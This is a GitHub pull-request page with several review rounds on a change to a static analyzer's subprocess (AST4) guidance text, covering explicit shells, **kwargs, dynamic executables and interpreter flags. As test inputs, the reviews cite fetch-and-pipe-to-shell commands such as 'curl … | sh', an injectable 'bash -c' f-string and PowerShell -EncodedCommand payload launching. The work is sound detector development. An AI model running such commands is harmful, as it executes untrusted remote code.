Repository navigation
Conversation
rng1995
left a comment
There was a problem hiding this comment.
[SkillSpector Review]
Hi @Harbor404, thank you for making AST4 guidance shape-specific so that the fixed-argv case from #670 no longer recommends a setting it already uses!
Value and readiness: The #670 case is fixed: subprocess.run(["ls", "-la"], shell=False) now gets fixed-argv guidance instead of "use shell=False". The default text is now conditional. Detection, severity and confidence are unchanged. _emit only gains explanation/remediation, and static_runner.py:637 already prefers af.explanation over the default. However, the classifier looks only at the shell= keyword and at whether argv is all literals. As a result, two common shapes are told "shell expansion is disabled" when a shell does run, or may run. Accurate text is the purpose of this PR, so both need fixing before merge.
Material findings
-
[Blocker]
src/skillspector/nodes/analyzers/behavioral_ast.py:422-430: an argv that explicitly invokes a shell gets non-shell guidance.subprocess.run(["bash", "-c", f"ping {host}"]): there is noshell=keyword, soshell_modeis False. The f-string element is not constant, so_is_fixed_argvis False. The call falls through to_AST4_UNKNOWN_EXPLANATION, which says "shell expansion is disabled by default", and the remediation never says to stop usingbash -c. This is the classic command-injection shape. Main's generic text at least warned about command injection here, so this is a regression for exactly the case #670 asks to keep visible.subprocess.run(["sh", "-c", "curl https://example.com/x | sh"])is classified as fixed argv: "shell expansion is disabled … these literal arguments do not create the generic shell-injection path".
Please check whether the literal
argv[0]is a shell or command interpreter (basenamesh,bash,zsh,dash,ksh,cmd/cmd.exewith/c,powershell/pwshwith-Command) followed by its inline-command flag. If it is, use the shell-string guidance (constructed vs. literal) instead. Please add a test for each example above. -
[Blocker]
behavioral_ast.py:379-385:_subprocess_shell_modeskips keywords whoseargisNone(dict unpacking) and returns False. Forsubprocess.run(["ls", "-la"], **opts)the finding then says "shell expansion is disabled", even thoughoptscan containshell=True. Please returnNone(unknown shell mode) when any keyword hasarg is None. The same applies to a non-literalexecutable=keyword:subprocess.run(["ls"], executable=tool_path)is described as "a named executable with literal arguments", buttool_pathdecides which program runs. Please route it to the unknown-input guidance unlessexecutableis a literal. Please add tests for both. -
[Non-blocking]
tests/nodes/analyzers/test_behavioral_ast.py: the PR description says there are four cases including "unknown shell mode", but no test exercisesshell=<non-literal>(_AST4_UNKNOWN_SHELL_*), and none coversgetoutput/getstatusoutput. Please add both along with the tests for the blockers.
PIC tradeoffs: None identified.
Verification and gaps: I traced _ast4_guidance by hand for the shapes above and confirmed that AST4 is emitted only at behavioral_ast.py:674. I also checked how the per-finding explanation and remediation reach output (static_runner.py:637 and the meta_analyzer remediation fallbacks). The meta-analyzer prompt does not include finding explanations, so this text does not influence LLM review. Tests were not run locally per policy. CI: all 6 checks green. Overlap: none with Harbor404's other PRs (#700, #702-#706). Open PRs #182, #579 and #623 edit other parts of behavioral_ast.py.
Decision: Changes Requested (reviewed head 9973946aad0959525cb3707cefb4499e1d5699a7)
|
Non-blocking coverage is included in |
Signed-off-by: Harbor404 <2657212322@qq.com>
Treat argv that invokes sh/bash/cmd/powershell inline as shell guidance, mark dict-unpacked or dynamic executable inputs unknown, and cover subprocess output helpers. Signed-off-by: Harbor404 <2657212322@qq.com>
fde60eb to
c868f17
Compare
|
Updated the branch on top of current The lint failure was a |
rng1995
left a comment
There was a problem hiding this comment.
[SkillSpector Review]
Hi @Harbor404, thank you for the quick follow-up on explicit shells, **kwargs and dynamic executables, and for adding the extra test coverage!
Value and readiness: The new commit fixes every input I listed last time, and each one now has a regression test. Two narrower gaps of the same kind remain. In both, the finding still says shell expansion is disabled when a shell runs, or may run:
- an explicit shell whose inline-command flag is not the second argv element;
- a dynamic
executable=combined with an unknown shell mode.
On main, every AST4 finding warns about command injection. For these shapes, this PR's text would be less accurate than today's. The branch also conflicts with main and needs a rebase. Once these are fixed, the PR should be ready.
Previous findings:
- Explicit-shell argv got non-shell guidance (Blocker): Partly resolved.
["bash", "-c", f"ping {host}"]now gets shell-construction guidance, and["sh", "-c", "curl … | sh"]gets shell-string guidance. Both have tests._literal_inline_shell_commandstill checks onlyargv[1]for the inline flag. See finding 1.
**kwargsand non-literalexecutable=treated as shell-disabled or fixed argv (Blocker): Partly resolved.subprocess.run(["ls", "-la"], **opts)now gets unknown-shell-mode guidance (behavioral_ast.py:379-380).subprocess.run(["ls"], executable=tool_path)gets unknown-input guidance. Both cases are tested.- A call that has both still gets the wrong text. See finding 2.
- No tests for
shell=<non-literal>orgetoutput/getstatusoutput(Non-blocking): Resolved.test_non_literal_shell_keyword_uses_unknown_shell_guidanceandtest_getoutput_helpers_use_shell_guidancecover them.
Material findings
-
[Blocker]
src/skillspector/nodes/analyzers/behavioral_ast.py:399-418: the inline-command flag is recognized only asargv[1]. Common invocations put other options first, and they still get non-shell text:subprocess.run(["bash", "-e", "-c", "curl https://example.com/x | sh"])is classified as fixed argv. The finding says "shell expansion is disabled … these literal arguments do not create the generic shell-injection path" and advises "Keep the explicit argument vector".subprocess.run(["powershell", "-NoProfile", "-Command", script])falls through to the unknown-input text, which says "shell expansion is disabled by default". So dosubprocess.run(["cmd", "/s", "/c", f"dir {path}"])andsubprocess.run(["bash", "-o", "pipefail", "-c", cmd]).
I should have said clearly last time that options can come before the inline flag. After a recognized interpreter, please scan the leading options for the inline-command flag. Skip the values of options that take one, such as
-o pipefailor-ExecutionPolicy Bypass, and treat the element after the flag as the command. A simpler, conservative alternative is to treat any later literal-c,/cor-Commandelement as the inline flag. Please add tests forbash -e -cwith a literal command andpowershell -NoProfile -Commandwith a dynamic script. Handling launcher prefixes such asenv bash -corsudo sh -cis optional. -
[Blocker]
behavioral_ast.py:473-478: the dynamic-executable=branch runs before theshell_mode is Nonecheck. If the shell mode is unknown andexecutable=is dynamic, the finding says "shell expansion is disabled by default" instead of giving the unknown-shell-mode guidance. Examples:subprocess.Popen(cmd, shell=use_shell, executable=exe), a common wrapper shape in which both are parameters;subprocess.run(["ls"], executable=tool, **opts), whereoptscan setshell=True(the case from the previous finding).
Please check
shell_mode is Nonebefore the dynamic-executable branch, or take that branch only whenshell_mode is False. The unknown-shell remediation already covers the executable. Please add a test for each example. -
[Blocker] Merge conflict with
maininbehavioral_ast.py. #623 is now merged. It added a leadingnode_indexparameter to_emitand anevidence=argument to theAnalyzerFindingbuilt there. Please rebase ontomainand resolve both hunks:- keep
evidence=next toexplanation=andremediation=; - call
_emit(node_index, "AST4", ast_node, explanation=explanation, remediation=remediation).
pattern_defaults.pyand the tests merge cleanly. - keep
-
[Non-blocking]
behavioral_ast.py:232-240: explicit-interpreter calls with a constructed command reuse_AST4_SHELL_BUILD_*. That text says "runs a command string with shell=True" and "Replace … with an explicit argument vector and shell=False".["bash", "-c", f"ping {host}"]has noshell=Trueand already passes an argument vector. Consider neutral wording, such as "runs a command string through a shell (shell=True or an explicitsh -c)". Also consider a remediation that says to call the target program directly instead of passing a command string to a shell. I suggested reusing this guidance last time, so this is optional.
PIC tradeoffs: None identified.
Verification and gaps:
- Commits:
- The branch was rebased onto
3527006.git range-diffshowsbcd5072is patch-identical to the reviewed9973946. - The only new change is
c868f17: 53 lines inbehavioral_ast.pyand 87 lines of tests. Both commits carry DCO sign-offs.
- The branch was rebased onto
- I traced
_ast4_guidanceby hand for every input above. Per policy, I did not run the code or the tests. - Merge:
git merge-tree --write-tree main refs/pr/701reports one content conflict inbehavioral_ast.py, with two hunks. Both come from #623's_emitchange. GitHub reports the PR asCONFLICTING. - CI: all 6 checks passed on
c868f17, but they ran before the conflict and must run again after the rebase. - Overlap: #182 (open, last updated 2026-09-12) rewrites the same AST4
_emitcall. Whichever PR lands second must keep the guidance arguments. No other open PR targets #670.
Decision: Changes Requested (reviewed head c868f179215099ee108664c50abc6d6fe9710b31)
Signed-off-by: Harbor404 <2657212322@qq.com>
rng1995
left a comment
There was a problem hiding this comment.
[SkillSpector Review]
Hi @Harbor404, thank you for fixing both remaining guidance gaps so quickly, and for resolving the #623 conflict without losing either side!
Value and readiness: Both blockers from my last review are fixed and tested, and the branch now merges cleanly with main. One gap of the same kind remains, and I should have caught it last time. When argv[0] is a shell but no inline-command flag is recognized, the finding still says "shell expansion is disabled". Examples are a shell that reads its script from stdin, and PowerShell's -EncodedCommand. A single small rule closes this whole class, so you won't need to add flags one at a time. With that change, the PR should be ready.
Previous findings:
- Inline-command flag recognized only as
argv[1](Blocker): Resolved._literal_inline_shell_commandnow scans every literal element after a recognized interpreter (behavioral_ast.py:404-421).- I traced
bash -e -c,bash -o pipefail -c,cmd /s /candpowershell -NoProfile -Command. All four get shell guidance. test_shell_inline_flag_after_leading_options_uses_shell_guidanceandtest_powershell_inline_flag_after_option_uses_shell_guidancewould fail on the old code.
- Dynamic
executable=checked before unknown shell mode (Blocker): Resolved. Theshell_mode is Nonebranch now comes first (behavioral_ast.py:476-479). Both examples have tests that would fail with the old order. - Merge conflict with
mainfrom #623 (Blocker): Resolved.- The resolution keeps
evidence=besideexplanation=/remediation=(:624-632) and calls_emit(node_index, "AST4", …)(:741-747). git merge-treeagainst currentmain(f3ec825) is clean.
- The resolution keeps
- Explicit-interpreter calls reuse the "with shell=True" wording (Non-blocking): Still open, unchanged. It is still optional.
Material findings
-
[Blocker]
src/skillspector/nodes/analyzers/behavioral_ast.py:480-481: some literal argvs start with a recognized shell but have no recognized inline flag. They fall through to the fixed-argv text, which says "shell expansion is disabled … these literal arguments do not create the generic shell-injection path" and "Keep the explicit argument vector". In each of these calls, a shell runs code:subprocess.run(["bash"], input=script)andsubprocess.run(["sh", "-s"], input=payload)run stdin as a shell script. Withinput=requests.get(url).text, this iscurl | sh.subprocess.run(["powershell", "-NoProfile", "-EncodedCommand", "SQBFAFgA…"]), and the same with-eor-ec. This is a classic way to launch a hidden payload.subprocess.run(["cmd", "/k", "…"]).
#670 asks for an accurate description of the execution mode, and asks that dangerous executables with literal arguments stay visible. On
main, these calls get the generic injection warning. With this PR, they get text saying the shell is off.Rather than adding more flags, please never return the fixed-argv text when the basename of
argv[0]is in_SHELL_INTERPRETERS,_CMD_INTERPRETERSor_POWERSHELL_INTERPRETERS. When no inline flag is found, use the shell-string guidance or a short "shell interpreter" variant._literal_inline_shell_commandreturns early for one-element lists, so the check for["bash"]must live outside it. Please add tests for["bash"]withinput=and forpowershell -EncodedCommand.Optionally, the same check can skip common launchers first:
envand its options,sudo,nohupandtimeout. Then["sudo", "sh", "-c", …]and["env", "-i", "bash", "-c", "curl … | sh"]would stop getting fixed-argv text or "shell expansion is disabled by default". As I said last time, launcher handling is optional. -
[Non-blocking]
behavioral_ast.py: a literalexecutable=that names a shell is not treated as the interpreter.subprocess.run(["x", "-c", "curl https://example.com/x | sh"], executable="/bin/sh")runs the pipeline but gets fixed-argv text. This shape is adversarial and rare, so handling it is optional. To handle it, use the basename of a literalexecutable=in place ofargv[0]for the interpreter check. -
[Non-blocking]
behavioral_ast.py:82-89: the comment says the getattr check is the only consumer of_constant_string, and it sizes thestr.joincap (10 characters) for getattr names. This PR adds three more callers. Today the cap only makes them more conservative. Please update the comment so that a later change to the cap also considers AST4. -
[Non-blocking] The fixes and the four new tests are inside
78ea250("chore(merge): sync with latest main"). Code changes in a merge commit are easy to miss, both in review and ingit logafter the PR lands. Please put future code changes in their own commit. You don't need to rewrite this one.
PIC tradeoffs: None identified.
Verification and gaps:
-
Commits:
- Since
c868f17, the only new commit is78ea250, a merge ofmainat532f67cby the author, with a DCO sign-off. git show --remerge-diffshows the two conflict hunks and also three code changes: it rewrites_literal_inline_shell_command, reorders_ast4_guidanceand adds four tests.- The PR's own diff against its merge base grew from 312 to 367 inserted lines. All changes are in the PR's three files.
- Since
-
I traced
_ast4_guidanceby hand for these inputs:- option-prefixed and launcher-prefixed shells:
env -i bash -c,/usr/bin/env shwith and without-c,sudo sh -c; - dynamic executables:
executable=exe, with and without unknown shell mode; shell=Truevariants: f-string,+,%and.joincommands,shell=1,shell=flag,**opts,getoutput.
Only the inputs in findings 1 and 2 get text that says or implies the shell is off. Per policy, I did not run the code or the tests.
- option-prefixed and launcher-prefixed shells:
-
CI: all 6 checks pass on
78ea250. GitHub reports the PR asMERGEABLE. -
Overlap: #182 is still open and conflicting, last updated 2026-09-12. It rewrites the same AST4
_emitcall, so whichever PR lands second must keep the guidance arguments.
Decision: Changes Requested (reviewed head 78ea250251026a8eea35ebd5a14d3326ed8a6181)
| return _AST4_UNKNOWN_SHELL_EXPLANATION, _AST4_UNKNOWN_SHELL_REMEDIATION | ||
| if _has_dynamic_executable(node): | ||
| return _AST4_UNKNOWN_EXPLANATION, _AST4_UNKNOWN_REMEDIATION | ||
| if _is_fixed_argv(command): |
There was a problem hiding this comment.
[Blocker] When argv[0] is a recognized shell but no inline flag is found, this branch returns the fixed-argv text ("shell expansion is disabled … Keep the explicit argument vector"), but a shell runs code in each of these calls: subprocess.run(["bash"], input=script), subprocess.run(["sh", "-s"], input=payload), subprocess.run(["powershell", "-NoProfile", "-EncodedCommand", "SQBFAFgA…"]) (also -e/-ec) and ["cmd", "/k", …]. Rather than adding more flags, please never return fixed-argv guidance when the basename of argv[0] is in _SHELL_INTERPRETERS, _CMD_INTERPRETERS or _POWERSHELL_INTERPRETERS. _literal_inline_shell_command returns early for one-element lists, so ["bash"] needs the check outside it. Please add tests for ["bash"] with input= and for powershell -EncodedCommand. Skipping launchers such as env/sudo with the same check is optional.
There was a problem hiding this comment.
Fixed in 21be3c2. Literal argv[0] is now checked against _SHELL_INTERPRETERS, _CMD_INTERPRETERS, and _POWERSHELL_INTERPRETERS independently of any flag, before the fixed-argv branch. ["bash"] with input=, ["sh", "-s"], PowerShell -EncodedCommand, and ["cmd", "/k", ...] now receive shell-command guidance and never the fixed-argv text. Added regressions for all four forms; the focused file passes 146 tests and Ruff check/format pass.
Recognize literal shell interpreters independently of inline-command flags so bash/stdin, sh -s, PowerShell EncodedCommand, and cmd /k never receive fixed-argv guidance. Add regressions for all four forms. Signed-off-by: Harbor404 <2657212322@qq.com>
Summary
Fixes #670.
AST4 always called
_emit("AST4", ast_node), which can only override themessage. The final conversion therefore fell back to the generic AST4
explanation/remediation for every case, including a fixed argument vector with
shell=False— where the advice was to useshell=False.Changes
src/skillspector/nodes/analyzers/behavioral_ast.pyshell=False: shell expansion is already off; validatethe executable and arguments instead of repeating the advice.
shell=Truewith a concatenated command (+,%, f-string,.format(),.format_map(),.join()): name shell metacharacter /injection risk and require an explicit argument vector with
shell=False.allowlist the executable and validate every dynamic argument.
shellexpression is reported as unknown shell mode ratherthan assumed.
src/skillspector/nodes/analyzers/pattern_defaults.pyof asserting command injection.
tests/nodes/analyzers/test_behavioral_ast.pyDetection conditions, severity, confidence, and scoring are unchanged.
Testing
uv run pytest tests/nodes/analyzers/test_behavioral_ast.py -q -k SubprocessGuidance uv run pytest tests/nodes/analyzers/test_static_patterns.py tests/unit/test_patterns.py -q uv run pytest tests/nodes/analyzers/test_behavioral_ast.py \ tests/nodes/analyzers/test_static_patterns.py tests/unit/test_patterns.py -q uv run pytest -q uv run ruff check ... && uv run ruff format --check ...Result: the new tests fail before the change (4 failed) and pass after
(4 passed); 406 passed on the requested files; 537 passed on the related set;
8486 passed, 14 skipped, 134 deselected, 4 xfailed for the full suite; ruff
clean.
Notes for Reviewer
is treated as unknown caller input.